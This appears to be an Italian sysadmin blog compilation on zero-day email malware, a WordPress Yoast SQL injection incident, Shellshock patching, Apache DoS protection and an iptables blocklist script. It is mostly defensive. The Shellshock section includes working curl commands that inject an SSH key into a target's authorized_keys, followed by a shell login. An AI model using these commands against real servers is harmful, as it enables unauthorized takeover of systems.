E-Mail con virus Zero Day

Ho preso un virus ma non ho fatto nulla!

Esclamazione che ho sentito molto spesso nel corso di un 2015 dove gli hacker e i cracker cercano sempre più spesso di trarre profitto dall'ingenuità altrui.

Il metodo più facile per infettare un PC è usare uno ZERO DAY, un virus che nessun antivirus può intercettare; ma come farlo arrivare a destinazione? Mi aspetto che i sistemi antispam riconoscano i mittenti malintenzionati e come tali ne scartino le mail. Bene, allora sfruttiamo i mail server "puliti" per recapitare delle email valide.

Iniziamo con il capire cosa è uno 0-DAY, wikipedia ci è di aiuto con una spiegazione semplice:

> In informatica si definisce **0-day** qualsiasi vulnerabilità non nota e, per estensione, indica un tipo di attacco informatico che inizia nel "giorno zero", cioè nel momento in cui viene scoperta una falla di sicurezza in un sistema informatico. Questo tipo di attacco può mietere molte vittime proprio perché è lanciato quando ancora non è stata distribuita alcuna patch, e quindi i sistemi non sono ancora protetti.
>
> Normalmente si parla di 0-day (o zero-day) riferendosi ad essi come attività espressamente dolose compiute da cracker che si adoperano per trovarle proprio con l'intenzione di guadagnarsi un accesso abusivo ad un sistema informatico vulnerabile.
>
> ….
>
> Gli 0-day sono tra i peggiori pericoli del web, in quanto sono noti solo a una ristretta cerchia di cracker, e possono causare numerosi danni prima di essere scoperti.

Come funziona un antivirus? I virus noti vengono censiti nelle banche dati delle aziende produttrici di software antivirus, i programmi installati sui nostri PC (o server) devono aggiornarsi costantemente al fine di avere le "signature" allineate con la banca dati centrale, questo per evitare virus messi in circolazione dalla data di ultimo aggiornamento possano infettare il sistema.

Ecco, quindi la cosa più importante, non è cosa fate con i vostri sistemi, ma quanto viene eseguito l'update delle signature.

Partendo da questo principio è logico pensare che le aziende produttrici aggiornino il database dei virus ad ogni nuova scoperta e/o segnalazione di software malevolo, bisogna poi attendere che questa informazione arrivi anche al nostro sistema.

Abbiamo quindi un lasso di tempo più o meno breve, ma utile per infettare milioni di dispositivi in giro per il mondo, se agiamo in fretta.

Preparato un virus anche banale non ci resta che metterlo in giro nel minor tempo possibile, sperando che gli utenti eseguano il software pericoloso, per fare questo dobbiamo aver preventivamente avuto accesso (manco a dirlo in modo illegale) a svariati server afflitti da vulnerabilità note per poterli usare come MAILSERVER e distribuire il nostro pacchetto.

Ed eccoci, tutto pronto, prepariamo la mail ad opera d'arte, con una buona traduzione in base alla nazione target, una contraffazione di un'azienda nota per rendere tutto meno sospetto e via, distribuzione in corso.

Ecco perché sempre più spesso vediamo nella nostra casella di posta mail che non aspettavamo, con fatture o preventivi provenienti da aziende note.

Se abbiamo dubbi sul file che ci è stato inviato, visto che il nostro antivirus non lo ha segnalato come malevolo, possiamo usare il servizio che mette a disposizione gratuitamente Virus Total:

https://www.virustotal.com/

Questo ci consente di verificare se e quale antivirus riconosce file sospetto come potenziale virus.

Anche se usiamo servizi come MAILPROTECTION facciamo attenzione ad aprire gli allegati, questo perché nonostante gli antivirus siano aggiornati con un'alta frequenza, ci sarà sempre una fascia oraria in cui ne potrà passare uno.

Vulnerabilità WordPress SEO by Yoast

Vulnerabilità SEO, ma come risolvere i danni fatti?

Come scritto nel blog ufficiale (LINK) il blasonato plugin SEO by Yoast soffre di una gravissima vulnerabilità: **Blind SQL Injection,** file interessato sarebbe il ***class-bulk-editor-list-table.php***.

Cos'è una **Blind SQL Injection** e come possiamo sfruttarla?

Un hacker inserisce una query SQL non valida in un'applicazione, nel nostro caso **WordPress** che avendo un autore, un admin o un editor già autenticati che visitano un URL malformato, il malintenzionato riesce ad accedere e

modificare il database **WordPress.**

Vediamo cosa è successo proprio a noi che scriviamo questo articolo.

Il furbo di turno ha sfruttato la vulnerabilità per modificare il database, creare un nuovo utente, concedergli i privilegi amministrativi ed aggiungere delle widget con codice javascript.

Tale codice servire a modificare i link del sito per rimandare a pubblicità, il modo più veloce per monetizzare. Fortunatamente l'hacker aveva un suo scopo ben preciso, quello di monetizzare, per questo motivo non ha fatto danni.

Questo serve a riflettere su quanti usano WordPress per scopi professionali senza affidarsi ad aziende o professionisti del settore.

Come suggerito da hostingtalk.it:

> In casi come questi, il consiglio è di **aggiornare immediatamente** il plugin WordPress SEO by Yoast all'ultima versione disponibile o di **affidarsi a servizi di hosting gestiti**, che eseguono in automatico per l'utenza gli upgrade di sicurezza necessaria. Altra alternativa è **l'autoaggiornamento di WordPress**, sempre che non sia stato disabilitato.

In alternativa un contratto di manutenzione può salvare il proprio business.

Shellshock vulnerability BASH

BASH CVE-2014-6271 vulnerability

Vulnerabilità grave della bash, la command line più diffusa dei sistemi Linux, associata all'utilizzo delle CGI consente di prendere il controllo del server.

Secondo Robert Graham, esperto di sicurezza di Errata Security, la falla che interessa Bash è probabilmente molto più grande e rischiosa di Heartbleed, l'enorme falla di Internet legata al sistema OpenSSL emersa lo scorso aprile.

- CentOS
- Debian
- Redhat(link is external)
- Ubuntu

I sistemi impattati sono principalmente le distribuzioni basate su RHEL, Debian, ma tutte quelle che usano la bash sono a rischio vulnerabilità.
http://youtu.be/ArEOVHQu9nk
La risoluzione è molto semplice, per le RHEL based, quindi RHEL stessa, Fedora, CentOS basta eseguire l'upgrade della bash:

```
yum upgrade bash
```

Mentre per le Debian based:

```
apt-get update; apt-get install bash
```

Per Debian 6 potrebbe essere necessario cambiare il repository nel file source.list, è possibile scaricare uno script che esegue la verifica della vulnerabilità sulla bash e poi esegue l'upgrade, scarica il file ZIP da estrarre sul sistema "shellshock.zip", estrai il pacchetto, dai i permessi di esecuzione e lancialo:

```
wget
http://www.lbit-solution.it/wp-content/plugins/download-monitor/download.php?id=13
unzip shellshock.zip
chmod +zx shellshock.sh
./shellshock.sh
```

Lo script scrive nella direcotory /root/ il file shellshock.txt, al suo interno sono presenti le informazioni della bash e la presenza della vulnerabilità prima e dopo l'upgrade.

Per testare se la versione della BASH è afflitta dalla vulnerabilità CVE-2014-6271 basta lanciare questo comando:

```
env x='() { :;}; echo vulnerabile' bash -c "echo prova"
```

Se riceviamo a video la parola "vulnerabile" e poi "prova" vuol dire che dobbiamo eseguire l'upgrade, nel caso ci fosse solo "prova" oppure "bash: warning: x: ignoring function definition attempt" vuol dire che la BASH in uso non è vulnerabile.

Perché avere paura del shellshock e chi deve correre ai ripari:

La vulnerabilità descritta in questo articolo consente di prendere il pieno controllo del server bersaglio solo se tale server ha in uso le CGI, questo

perché è possibile inserire il settaggio si “X” con le istruzioni di nostro interesse nell’environment del server sfruttando l’HTTP_AGENT.

```
curl -k -H 'User-Agent: () { :;}; /bin/mkdir /var/www/.ssh'
http://BERSAGLIO/cgi-bin/script.py
curl -k -H 'User-Agent: () { :;}; echo "ssh-rsa AAAAB3wAAAQEA[...]JXIQ== www-
data@testserv" \
>/var/www/.ssh/authorized_keys' http://BERSAGLIO/cgi-bin/script.py
ssh www-data@BERSAGLIO
www-data@BERSAGLIO:~$ uname -a
Linux BERSAGLIO 2.6.32-431.11.2.el6.x86_64 #1 SMP Tue Mar 25 19:59:55 UTC
2014 x86_64 x86_64 x86_64 GNU/Linux
```

Cosa abbiamo fatto: avevamo precedentemente individuato sul server BERSAGLIO la presenza delle CGI e dello script script.py, conil curl gil abbiamo inviato una richiesta falsando il nostro “User-Agent”, nel suo interno sfruttiamo la vulnerabilità inserendo la creazione di una direcotry :

```
User-Agent: () { :;}; /bin/mkdir /var/www/.ssh
```

gli passiamo la nostra chiave per poter effettuare accesso in SSH

```
User-Agent: () { :;}; echo "ssh-rsa AAAAB3wAAAQEA[...]JXIQ== www-
data@testserv"\ >/var/www/.ssh/authorized_keys
```

ora abbiamo completo accesso al terminale.

Questa vulnerabilità deve spaventare chi espone su internet un web server, tutti gli altri sistemi che erogano un servizio diverso hanno meno probabilità di essere bucati, ma comunque è sempre meglio fare l’upgrade della bash.

Per i sistemi Debian e Debian based non supportati, come la 5 c’è questo script pubblicato su “https://dmsimard.com/2014/09/25/the-bash-cve-2014-6271-shellshock-vulnerability/”

```
#!/bin/bash
# dependencies
apt-get update; apt-get install build-essential gettext bison

# get bash 3.2 source
wget http://ftp.gnu.org/gnu/bash/bash-3.2.tar.gz
tar zxvf bash-3.2.tar.gz
cd bash-3.2

# download and apply all patches, including the latest one that patches
CVE-2014-6271
# Note: CVE-2014-6271 is patched by release 52.
# Release 53 is not out on the GNU mirror yet - it should address
CVE-2014-7169.
```

```
for i in $(seq -f "%03g" 1 52); do
    wget -nv http://ftp.gnu.org/gnu/bash/bash-3.2-patches/bash32-$i
    patch -p0 < bash32-$i
done

# compile and install to /usr/local/bin/bash
./configure && make
make install

# point /bin/bash to the new binary
mv /bin/bash /bin/bash.old
ln -s /usr/local/bin/bash /bin/bash
```

DoS Apache - IDS e Firewall HTTP

DoS Apache – Prevenire attacchi Denial of Service e Distribuited Denial of Service con mod_evasive e mod_security

MOD EVASIVE

Proteggere il nostro webserver senza ricorrere a sistemi IDS particolarmente complessi o costosi è possibile, mod_evasive e mod_security sono i due moduli da installare e configurare per prevenire attacchi per Denial of Service (Dos) e Distribuited Denial of Service (DDoS), il primo lavora come un IDS, mentre il secondo usa delle regole similari ad un firewall.

Iniziamo impostando i valori di TimeOut e KeepAlive:

- La direttiva **RequestReadTimeout** consente di limitare il tempo di un client per effettuare una richiesta .
- Il valore della direttiva **TimeOut** dovrebbe essere abbassato su siti che sono oggetto di attacchi DoS , è opportuno impostare questo a partire da un paio di secondi . Un valore troppo basso porterà problemi con l'esecuzione di script CGI che richiedo molto tempo per il loro completamento.
- Il parametro per la direttiva **KeepAliveTimeout** può essere abbassato anche su siti che sono oggetto di attacchi DoS . Disattivare il **KeepAlive** con impostazione Off, così come accade per alcuni siti, produce inconvenienti prestazionali, se impostata su On*, permette di usare, come da specifiche HTTP/1.1, la stessa connessione TCP per*

inviare più file, è pertanto consigliata questa configurazione, che evita l'apertura di una connessione TCP per ogni richiesta HTTP.

Il mod_evasive intercetta e blocca un determinato indirizzo IP che svolge un determinato numero di richieste in un breve lasso di tempo.

Prima di procedere installiamo alcuni pacchetti fondamentali

```
# yum install make autoconf
# yum install gcc httpd-devel pcre-devel
# yum install libxml2 libxml2-devel curl curl-devel
```

Passiamo all'installazione,può essere fatta tramite yum:

```
# yum install -y mod_evasive
```

oppure scaricando il pacchetto e compilandolo:

```
# cd /usr/src
# wget
http://www.zdziarski.com/blog/wpcontent/uploads/2010/02/mod_evasive_1.10.1.ta
r.gz
# tar xzf mod_evasive_1.10.1.tar.gz
# cd mod_evasive
# apxs -cia mod_evasive20.c
```

Passiamo ora alla configurazione:

```
# vi /etc/httpd/conf/httpd.conf
```

Abilitiamo il modulo e inseriamo le direttive:

```
LoadModule evasive20_module   /usr/lib64/httpd/modules/mod_evasive20.so
```

Editiamo il file

```
# vim /etc/httpd/conf.d/mod_evasive.conf
```

Inseriamo le entry di base:

```
# mod_evasive configuration
LoadModule evasive20_module modules/mod_evasive20.so
<IfModule mod_evasive20.c>
    DOSHashTableSize    3097
    DOSPageCount        2
    DOSSiteCount        50
    DOSPageInterval     1
    DOSSiteInterval     1
    DOSBlockingPeriod   10
    DOSEmailNotify      dos@lbit-solution.it
    #DOSSystemCommand    "su - someuser -c '/sbin/... %s ...'"
    DOSLogDir           "/var/log/httpd/mod_evasive"
```

```
    DOSWhitelist  95.110.245.202
    #DOSWhitelist   192.168.0.*
</IfModule>
```

Ora vediamo nel dettaglio le direttive:

- **DOSHashTableSize**: dimensione della tabella di hash per la collezione dei dati di campionamento.
- **DOSPageCount**: identifica la soglia di richiesta di una stessa pagina da parte di un host in un certo intervallo di tempo.
- **DOSSiteCount**: identifica la soglia di richiesta di un qualsiasi oggetto da parte di un host in un certo intervallo di tempo.
- **DOSPageInterval**: intevallo di tempo per la soglia del parametro **DOSPageCount** in secondi.
- **DOSSiteInterval**: intevallo di tempo per la soglia del parametro **DOSSiteCount** in secondi.
- **DOSBlockingPeriod**: parametro che specifica l'intervallo di tempo utilizzato per mostare l'http error 403 ai client che stanno eseguendo un probabile attacco DoS.
- **DOSEmailNotify**: parametro che specifica l'indirizzo mail al quale inviare una mail di notifica, se un certo indirizzo IP sta eseguendo un probabile attacco Dos.
- **DOSWhitelist**: con questo parametro è possibile aggiungere una lista di IP che non devono essere bloccati dal modulo, nella configurazione di esempio abbiamo applicato la regola per l'indirizzo IP 95.110.245.202
- **DOSLogDir**: specifica un path alternativo alla temp directory per la collezione dei dati.
- **DOSSystemCommand**: lancia uno specifico comando quando viene superata la soglia da parte di un client. Per ricavare l'indirizzo IP che ha sfortato la soglia si deve usare la variabile "%s".

Per testare che tutto sia funzionante, e che le nostre richieste vengano bloccate possiamo usare uno script PERL:

```
#!/usr/bin/perl
# test.pl: small script to test mod_dosevasive's effectiveness
  use IO::Socket;
  use strict;
  for(0..100) {
      my($response);
      my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                          PeerAddr=> "127.0.0.1:80");
      if (! defined $SOCKET) { die $!; }
      print $SOCKET "GET /?$_ HTTP/1.0\n\n";
      $response = <$SOCKET>;
      print $response;
      close($SOCKET);
  }
```

Il risultato del test sarà il seguente:

```
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
```

MOD SECURITY

Anche per il mod_security vale la stessa regola del mod_evasive per l'installazione, possiamo scegliere se installarlo tramite repository oppure compilarlo.

Installazione tramite yum:

```
# yum install mod_security
```

Oppure scaricare il pacchetto ed installarlo:

```
# cd /usr/src
# wget http://www.modsecurity.org/download/modsecurity-apache_2.6.6.tar.gz
# tar xzf modsecurity-apache_2.6.6.tar.gz
# cd modsecurity-apache_2.6.6
# ./configure
# make install
# cp modsecurity.conf-recommended /etc/httpd/conf.d/modsecurity.conf
```

File di configurazione di mod_security

1. **/etc/httpd/conf.d/mod_security.conf** – file di configurazione principale del modulo mod_security di Apache
2. **/etc/httpd/modsecurity.d/** – tutti gli altri file di configurazione modulo Apache mod_security.
3. **/etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf** – La configurazione presente in questo file deve essere personalizzata in base alle vostre esigenze prima di essere messa in esercizio.
4. **/var/log/httpd/modsec_debug.log** – Usa i messaggi di debug per il debugging e altri problemi
5. **/var/log/httpd/modsec_audit.log** – Tutte le richieste che attivano ModSecuirty (come rilevato) o gli errori server ("RelevantOnly") vengono scritti nel file di log.

Editiamo il file /etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf

```
# vi  /etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf
```

E attiviamo la protezione del webserver

```
# SecRuleEngine On
```

Riavviamo il servizio httpd

```
# service httpd restart
```

Vediamo dal file di log se non si sono problemi:

```
# tail -f /var/log/httpd/error_log
```

Abbiamo terminato l'installazine dei due moduli che ridurranno gli attacchi, ora in base all'hardware e alle proprie esigenze andranno configurati tutti i servizi.

Scarica il PDF Proteggere Apache da attacchi DoS e DDoS.

[NETFILTER] Bloccare lista di IP con iptables

Aumentare la sicurezza del nostro firewall bloccando gli indirizzi IP noti per attacchi

Il sito internet BLOCKLIST.DE mette a disposizione file txt contenenti gli indirizzi IP che hanno attaccato i loro clienti nelle ultime 48 ore.

E' possible scaricarsi le liste suddivise per attacco, SSH, DDOS, FTP, MAIL, SPAM, ecc.. oppure una lista completa di tutti gli IP all'indirizzo http://lists.blocklist.de/lists/.

Vediamo ora come interagire con il nostri iptables senza modificare la configurazione ottimale raggiunta con ore ed ore di test.

Uno script bash si occupa di scaricare la lista dal sito blocklist.de, ne legge il suo contenuto e, prima prova a togliere la regola per evitare di avere regole ridondanti:

```
/sbin/iptables -D INPUT -t filter -s $blkip -j DROP 2> /dev/null
```

e poi ne applica una

```
/sbin/iptables -A INPUT -t filter -s $blkip -j DROP
```

per ultima cosa scrive il comando per la rimozione della regola in un file, in modo da poterlo richiamare qualora si volesse pulire la catena di INPUT dagli IP sella black list senza buttare giù il firewall.

```
echo "/sbin/iptables -D INPUT -t filter -s $blkip -j DROP" >> $DROPRULE
```

Di seguito lo script, da lanciare con ./iptables-blk.sh start

```
#! /bin/sh
start(){
echo "start"
BLACKFILE="/usr/local/etc/blacklist.txt"
DROPRULE="/usr/local/etc/blacklistdrop.txt"
BLOCKLIST_URL="http://lists.blocklist.de/lists/all.txt"
> $DROPRULE
curl $BLOCKLIST_URL |grep -oE
'((1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.){3}(1?[0-9][0-9]?|2[0-4][0-9]|25[0-5]
)' > $BLACKFILE
if [ $? -eq 0 ]
  then
  for blkip in `cat $BLACKFILE`; do
    echo "ACCESSO NEGATO A: $blkip"
    /sbin/iptables -D INPUT -t filter -s $blkip -j DROP 2>/dev/null
    /sbin/iptables -A INPUT -t filter -s $blkip -j DROP
    echo "/sbin/iptables -D INPUT -t filter -s $blkip -j DROP" >> $DROPRULE
  done
  else
  echo "$BLOCKLIST_URL ERROR"
fi
}

stop(){
DROPRULE="/usr/local/etc/blacklistdrop.txt"
echo "stop"
cat $DROPRULE|while read resetrule; do
echo "$resetrule"
$($resetrule)
done
}

restart(){
stop
```

```
sleep 5
start
}

case "$1" in
start)
start
;;
stop)
stop
;;

restart)
restart
;;
*)
echo "Usage: firewall {start|stop|restart}"
exit 1
esac

exit 0
```
